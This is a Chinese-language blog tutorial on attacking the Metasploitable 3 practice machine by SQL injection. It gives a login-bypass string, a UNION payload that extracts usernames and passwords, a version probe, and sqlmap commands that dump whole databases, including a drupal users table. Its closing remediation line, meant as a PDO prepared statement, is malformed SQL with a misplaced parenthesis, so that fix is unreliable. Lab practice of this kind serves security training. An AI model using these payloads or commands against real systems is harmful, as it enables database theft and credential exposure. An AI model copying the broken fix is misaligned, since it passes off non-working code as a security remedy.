Linux

Metasploitable 3 靶機滲透測試演練:SQL Injection 教學與範例

介紹如何使用 SQL injection 漏洞攻擊 Metasploitable 3 靶機網頁,執行滲透測試演練。

SQL Injection 攻擊演練

安裝完 Metasploitable 3 的 Ubuntu Linux 14.04 靶機之後,這一台靶機預設會在 80 連接埠啟動網頁伺服器,我們連上這台之後,就可以看到一些內容:

Metasploitable 3 靶機網頁

這裡我們選擇 payroll_app.php 這個含有 SQL injection 漏洞的 PHP 來進行測試,打開網頁之後會看到一個輸入帳號與密碼的表單。

Payroll Login

這個網頁的原始碼我們可以從 Metasploitable 3 的 GitHub 網站查看,由於它在處理 MySQL 指令查詢的時候,直接將表單輸入的資料嵌入 MySQL 指令中,所以導致了 SQL injection 的重大漏洞。

我們可以透過輸入以下片段 SQL 指令,繞過網頁帳號與密碼的檢查:

' OR 1=1#
SQL Injection 攻擊

在這個 PHP 指令稿中,處理 MySQL 指令的程式碼為:

# 含有 SQL Injection 漏洞的 PHP 程式碼
$sql = "select username, first_name, last_name, salary from users where username = '$user' and password = '$pass'";

這行程式碼在正常狀況下可以運作,但是當攻擊者輸入了上述的片段 SQL 指令,就會導致最終產生的 MySQL 指令變成這樣:

select username, first_name, last_name, salary from users
  where username = '' OR 1=1#' and password = ''

因此原本的帳號與密碼檢查機制就失效了。

SQL Injection 攻擊

SQL injection 的原理很簡單,就是插入一些片段 SQL 指令,嘗試改變原始的程式邏輯,但可以有很多變化,以下這個片段 SQL 指令會造成資料庫中的帳號與密碼洩漏:

' OR 1=1 UNION SELECT null,null,username,password FROM users#
SQL Injection 攻擊

這裡所產生的 MySQL 指令會像這樣:

select username, first_name, last_name, salary from users
  where username = '' OR 1=1
  UNION SELECT null,null,username,password
  FROM users#' and password = ''

這裡使用了 UNION 將攻擊者想要取得的資訊放在原本資料的後面。

SQL Injection 攻擊

利用同樣的原理,我們就可以取得各種資料庫中的資訊,以下是取得 MySQL 伺服器的版本資訊:

' UNION SELECT null,null,null,@@version#
SQL Injection 攻擊

這台 MySQL 資料庫的版本是 5.5.62-0ubuntu0.14.04.1。

SQL Injection 攻擊

sqlmap 取得資料

SQL injection 漏洞除了讓認證失效之外,還可能造成整個資料庫的資料外洩,sqlmap 就是一個可以利用 SQL injection 漏洞來取得資料庫內容的自動化工具,以下是 sqlmap 取得整個資料庫內容的操作步驟。

先使用 sqlmap 進行基本的 SQL injection 偵測:

# 以 sqlmap 進行 SQL Injection 偵測
sqlmap --url http://192.168.5.5/payroll_app.php \
  --data="user=admin&password=admin&s=OK"
sqlmap 進行 SQL Injection 偵測

在偵測的過程中,sqlmap 會詢問使用者一些問題,可依照狀況來回答。

sqlmap 進行 SQL Injection 偵測

偵測完成後,會列出可用的 SQL injection 弱點,可以選擇要使用的弱點編號進行 SQL injection。

sqlmap 進行 SQL Injection 偵測

若要輸出目前所使用的資料表內容,可以使用 --dump 參數:

# 輸出目前資料庫的資料表
sqlmap --url http://192.168.5.5/payroll_app.php \
  --data="user=admin&password=admin&s=OK" --dump
輸出目前資料庫的資料表

若要輸出所有資料庫的 schema 定義資訊,可以使用 --schema 參數:

# 輸出所有資料庫的 schema
sqlmap --url http://192.168.5.5/payroll_app.php \
  --data="user=admin&password=admin&s=OK" --schema
輸出所有資料庫的 schema

若要輸出指定資料庫中的資料表內容,可以使用 --dump 搭配 -D-T 參數來指定資料庫與資料表,例如輸出 drupal 資料庫的 users 資料表:

# 輸出 drupal 資料庫的 users 資料表
sqlmap --url http://192.168.5.5/payroll_app.php \
  --data="user=admin&password=admin&s=OK" \
  --dump -D drupal -T users
輸出 drupal 資料庫的 users 資料表

若要將整個 MySQL 資料庫的內容全部輸出,可以使用 sqlmap--dump-all 參數。

避免 SQL Injection 的解法

OWASP Cheat Sheet Series 中有整理了一些避免 SQL injection 的解法,方法有很多種,若採取 PDO 的方式,可以參考 (The only proper) PDO tutorial 的教學文件,修改 MySQL 連線相關的程式碼,並把原來的 PHP 產生 MySQL 指令的那一行改為這樣:

# 改用 PDO 的方式建立 MySQL 指令
$sql = $conn->prepare("SELECT FROM users (username, first_name, last_name, salary) WHERE username = :user AND password = :pass)";

參考資料

Share
Published by
Office Guide

Recent Posts

Python 使用 PyAutoGUI 自動操作滑鼠與鍵盤

本篇介紹如何在 Python ...

1 年 ago

Ubuntu Linux 以 WireGuard 架設 VPN 伺服器教學與範例

本篇介紹如何在 Ubuntu ...

1 年 ago

Linux 網路設定 ip 指令用法教學與範例

本篇介紹如何在 Linux 系...

1 年 ago

Linux 以 Cryptsetup、LUKS 加密 USB 隨身碟教學與範例

介紹如何在 Linux 系統中...

1 年 ago